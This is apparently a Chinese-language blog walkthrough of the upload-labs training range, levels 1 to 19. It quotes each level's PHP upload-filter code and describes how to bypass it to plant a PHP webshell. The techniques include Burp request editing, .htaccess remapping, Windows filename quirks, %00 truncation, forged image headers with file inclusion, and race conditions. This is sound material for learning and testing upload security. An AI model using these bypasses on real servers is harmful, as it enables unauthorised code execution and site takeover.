upload labs 1-21 通关

upload labs-1

判断检测点

1、先把muma.php改后缀为muma.jpg上传,如果能够上传,则说明不会进行文件内容检测,只需判断是黑名单或者白名单即可。此时再改为任意后缀比如muma.xyz,如果还能上传,则代表是黑名单,如果不能则说明是白名单。如果muma.jpg不能上传,则说明他进行了文件内容的检测,有时会是几种检测的混合搭配,比如既检测了文件内容,又是黑名单。
2、发现burp没任何反应,可能没抓到包?也可能就是个前端验证,压根没有请求通过。f12打开看下,确实有js验证。

验证代码

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

绕过

将muma.php改为jpg|png|gif后缀,然后上传,成功后在brup进行改包,将其后缀改为php即可。

打开图片地址,找到路径,连接即可。

upload labs-2

判断检测点

1.直接上传muma.php看看。提示文件类型不正确。第一反应是content-type检测
2.抓包看看 content-type是application,问题很可能就是这个了。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

就是说如果上传问题的type不是 image/jpeg|image/png|image/gif的话就会报错。

绕过

1、上传muma.php然后burp抓包后,改掉其content-type
2、直接上传图片一句话,直接绕过。

upload labs-3

判断检测点

1、直接上传muma..php,提示不允许上传.asp,.aspx,.php,.jsp后缀文件,判断其很可能是个黑名单

代码验证

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

服务器端黑名单过滤,过滤了asp,.aspx,.php,.jsp

绕过

1、常见的其他形式.phtml .phps .php5 .pht 这里需要注意:如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

AddType 指令
作用:在给定的文件扩展名与特定的内容类型之间建立映射
语法:AddType MIME-type extension [extension] ...
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

2、这里也可以上传.htaccess htaccess文件生效前提条件为 1.mod_rewrite模块开启。2. AllowOverride All. 构造.htaccess文件,内容如下:AddType application/x-httpd-php .jpg. 这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析,因此达到了可执行的效果。所以我们可以把要上传的php文件的后缀名改为.jpg格式从而绕过

成功上传,但是可以看到文件被重命名了,但是后缀还保留着。用菜刀无法连接,查看httpd.conf配置文件,其并没有映射php3且没有开启。

修改httpd.conf配置后,发现能够连接了。

这里尝试下htaccess。先上传.htaccess文件 再上传图片马(php马改为jpg后缀也可) 发现不行啊不能解析啊。

看看是不是开启了htaccess的配置呢。原来是AllowOverride没有改为all状态。重启再试试呢

还是不行!咋回事啊?再检查了一遍上传的文件,发现 上传的 htaccess文件被重命名了额。这下没招了,看来上传htaccess在这里行不通啊。不过如上面所写,用php3,php5等后缀绕过还是可以的。

upload labs-4

判断检测点

1、直接上传muma.php,提示此文件不许上传,且没有提示具体哪些文件不让上传。在黑盒情况下,仅凭此提示,可能有3个方向,一个是黑名单检测,另一个是文件内容检测,一个是白名单。只能挨个尝试,优先考虑黑名单,然后再试试文件内容。如果真的是文件内容的话,2个方案,一个是上传php然后再抓包修改各项内容,另一个是直接上传图片马,但是图片马上传后要想解析就只能找找文件包含漏洞或者解析漏洞了。黑名单内容就多了。本例中也先尝试黑名单。首先尝试各种不同的后缀也即是语言特性。常见后缀的似乎都不行了。再尝试操作系统特性,在尝试各种中间件,包括一些解析漏洞和htaccess。这里先尝试htaccess。很幸运,这里htaccess并没有被过滤掉。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到,他基本过滤了常见后缀,也就是说语言特性基本行不通了,然后又处理了windows下的操作特性,再然后就试试中间件特性了。他这里并没有过滤htaccess且并没有进行重命名。

绕过

先上传.htaccess文件,再上传muma.jpg文件。注意AllowOverride需要改为All,然后访问这个jpg路径即可。但在上例中,htaccess被重命名了,本例中是可以连接一句话的。

upload labs-5

判断检测点

直接上传muma.jpg,提示成功。在随便换个后缀muma.xxsw,依然成功上传,说明是个黑名单过滤。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到,各种过滤,htaccess也被过滤了。但是ini没有被过滤掉。

绕过

挨个尝试,发现ini没有被过了。
这里没有复现成功,看到有人说phpstudy 8.1版可以,2016版不行,我没有复现成功。
参考:
https://www.cert.ac.cn/sec/473.html
https://www.cnblogs.com/anbuxuan/p/11812573.html
https://www.colabug.com/2020/0118/6876098/

upload labs-6

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里他并没有像之前那样将所有的文件名后缀进行强制的小写转换。所以可以利用黑名单外的大小写进行绕过。

绕过

上传muma.php,然后抓包修改后缀为PHp即可。他也被重命名了。不过没事,仍然是php后缀。

upload labs-7

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里他没有对末尾的字符进行处理去空格处理,仅仅只是删除了末尾的点。可以在末尾添加空格

绕过

上传muma.php然后抓包改包,在php后面加上空格。windows里会将空格等自动去除。

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点
此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php[空格]文件即可


upload labs-8

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里没有对尾部的点进行处理。

绕过

上传muma.php,然后在php后面加上点,成功上传连接

upload labs-9

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过

这里并没有对DATA进行处理。
Windows系统下, 如果上传的文件名中test.php::
DATA会在服务器上⽣成⼀个test.php的⽂件, 其中内容和所上传⽂件内容相同, 并被解析。 即上传⽂件xxx.php::$DATA = xxx.php

upload labs-10

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。这里好像基本都不行了。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里看起来防守得很严密。

绕过

这里黑名单类型全,大小写经过转换,去除了文件名末尾的点,去除了文件名尾空格,还去除了::$DATA。。但是,这里还是可以绕过的。这里的代码逻辑是先删除文件名末尾的点,再进行首尾去空。都只进行一次。故可以构造点空格点进行绕过,也就是后缀名改为xx.php. .,也是利用了Windows的特性。之前的关卡都可用此法绕过,不过这个只是windows下的。

upload labs-11

判断检测点

和 upload labs-4一样,先从黑名单开始尝试。挨个尝试,不要漏掉。这里同样尝试了点空格点,上传是成功了,但是当访问时,发现后缀没了,变成muma.

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到,这里没有了之前的去掉点空格之类的,有可能是针对非windows系统的,因为那些特性只能在win下面使用。这里他直接把后缀黑名单里的后缀给替换成空格了,真牛逼。而且不区分大小写,所以大小写绕过也没啥用了。

绕过

但是这里是把他替换成了空字符,可以使用双写来 phphpp来绕过,替换php后就是php了

upload labs-12

判断检测点

正如之前一样,先把muma.php改后缀为muma.jpg上传,如果能够上传,则说明不会进行文件内容检测,只需判断是黑名单或者白名单即可。此时再改为任意后缀比如muma.xyz,如果还能上传,则代表是黑名单,如果不能则说明是白名单。如果muma.jpg不能上传,则说明他进行了文件内容的检测。
这里muma.jpg能够上传并且被重命名了,则我们需要进一步判断是白名单还是黑名单。

更改任意后缀后再次上传,提示只允许上传jpg|png|gif类型,说明此处是个白名单过滤。

验证代码

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

可以看到在进行move_uploaded_file前。利用$_GET[‘save_path’]和随机时间函数进行拼接,拼接成文件存储路径。这里利用_GET传入,GET是我们可以控制输入的,导致服务器最终存储的文件名可控。故可以利用这个点进行绕过。这里利用的是00截断。即move_uploaded_file函数的底层实现类似于C语言,遇到0x00会截断

截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

当抓包后有路径时,可以在路径save_path=../upload/那里拼接,也可以在filename那里拼接。因为最终的文件总是要被存储的。只不过有时会没有存储路径显示。
当抓包后没有路径时,可以在filename那里拼接。
一般来说,有路径时优先尝试路径,最保险的也是修改路径。路径有时会在头部,有时会在中间。filename最主要的弊端就是1、他可能会被重命名。比如你穿上去了1.php%00.jpg,但是直接被重命名为了202004144.jpg 2、压根就传不上去。可以对pass-12 13关进行尝试,在filename下分别尝试%00和%00转换为空格。
存储路径 save_path可能会用post也可能会用get去接收,当他是post时不会像get那样对%00进行解码。只能通过十六进制中去修改20为00,因此这种方法适用性更广一些。

绕过

这里先尝试下filename处的截断,修改filename=”muma.php%00.jpg” 很不幸,这里被重命名了。所以filename处修改不成功。

再尝试下upload路径处呢。

我们打开这个路径,发现404了,不过没有关系。实际上在后台已经保存为了1.php了。

实际上已经保存为1.php了。


菜刀连接成功。

upload labs-13

判断检测点

这里与pass-12一样的判断方法。白名单过滤。尝试00截断。

验证代码

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

依然是上传路径可控
这里与pass-12的区别在于其save_path采用post方式。而对于00截断来说,post方式并不会对%00进行解码,需要在十六进制里对其进行操作。

绕过

在path那里添加1.php , 然后修改空格的hex20为00,可以看到上传成功,连接。

总之,关于00截断。成功率最高的是直接修改路径。当get时,%00和空格均可用,当post时,空格才能用,因为post下%00不会被url解码。直接改filename的话,有时可以有时不可以。有时只能%00可以,空格不可以。可能与具体的后台提前后缀名代码方式有关。还要注意filename被重命名的情况,比如pass-12。总之挨个试一下。

upload labs-14

判断检测点

先上传muma.jpg,提示文件未知,说明有文件内容检测。

验证代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这里会检测文件头。并且还会把上传的文件重命名为检测到的文件类型。

绕过

常见的文件头如下

gif(GIF89a) : 47 49 46 38 39 61
jpg、jpeg : FF D8
png : 89 50 4E 47 0D 0A

在绕过时,直接利用burp的hex功能,在php内容前面添加文件头即可。

以jpg为例,利用burp在php代码之前随便输入2个字符,然后到hex处修改即可。然后利用文件包含漏洞进行解析。


文件包含漏洞 http://www.test.com/upload-labs/include.php?file=./upload/7120200418095207.jpg

以png为例。

然后hex里修改为89 50 4E 47 0D 0A

上传成功,然后连接即可。

以gif为例。


利用include文件包含连接。

这里 gif文件其实有个更简单的方法。不用麻烦的去改hex值,只需在一句话前添加相应的头GIF89a即可。

以gif为例。直接添加GIF89a即可。上传成功。


upload labs-15

判断检测点

先上传muma.jpg,提示文件未知,说明有文件内容检测。

验证代码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这里用到了getimagesize()函数来检查是否为图片文件。getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

绕过

这里的绕过仍然采用修改文件头的方式,然后利用文件包含漏拿到webshell。

对于GIF,直接添加GIF89a头,也可直接使用一句话马。
对于png和jpg,先上传一个正常的图片,然后抓包在其文件末尾添加一句话即可。
当然了,其实都可以直接使用一句话图片马

以png为例,上传正常png图片,抓包,在文件末尾添加一句话然后上传,成功上传,文件包含漏洞连接。

直接上传一句话图片马也可以,

文件包含漏洞解析并连接。

upload labs-17

判断检测点

先上传muma.jpg,提示该文件不是jpg格式的图片!,说明有文件内容检测。

验证代码

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这个看起来复杂的多。这里先是判断Content-Type,然后再用imagecreatefrom[gif|png|jpg]函数判断是否是图片格式,如果是图片的话再用image[gif|png|jpg]函数对其进行二次渲染。
我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化。
先把一个图片马用16进制打开,可以看到在文件末尾有一句话木马。

然后将此图片马上传。下载服务器保存的被二次渲染的图片,同样的十六进制打开。

对比之前的会发现,除了图片变小之外,在末尾的一句话也被去除了。

绕过

由上面分析可知,如果想要绕过二次渲染的话,就要搞清楚二次渲染后,源文件哪些区域不会被修改或压缩。这里因为gif、jpg、png三种不同图片文件的文件格式不同,所以图片马的构造方法也不同。
gif文件绕过

gif二次渲染绕过说是最简单的。将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。
使用gif图片马,上传服务器,下载渲染后的gif图。使用 ultraedit 软件对2个文件进行对比,迅速找到匹配的地方,然后插入php一句话代码。下图红色区域为不同的地方。

emmm,理论看起来很简单,但是没成功。直接在别人的gif上改得了。–改也没改成功,郁闷啊。换成一句话就会报错呢。
jpg文件绕过复现也没成功呢

参考:
https://www.jianshu.com/p/aabc1e7408d5
https://xz.aliyun.com/t/2657

upload labs-18

判断检测点

先上传muma.jpg,直接成功了。再进一步测试黑名单和白名单。随便修改个后缀,提示只允许上传jpg|png|gif类的文件,白名单过滤。黑盒的情况下,一般尝试00截断,解析漏洞,大小写,方法并不多。

验证代码

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

这里是先move_uploaded_file函数将上传文件临时保存,再进行判断,如果不在白名单里则unlink删除,在的话就rename重命名,所以这里存在条件竞争,通过条件竞争的方式在unlink之前,访问上传文件。

绕过

利用条件竞争删除文件时间差绕过。
没有复现成功。看别人测试5000次里有3次成功。

upload labs-19

判断检测点

先上传muma.jpg,直接成功了。再进一步测试黑名单和白名单。随便修改个后缀,提示:上传失败,无法上传该类型文件。白名单过滤。黑盒的情况下,一般尝试00截断,解析漏洞,大小写,方法并不多。

验证代码

这里不贴了。好几个文件呢。

绕过

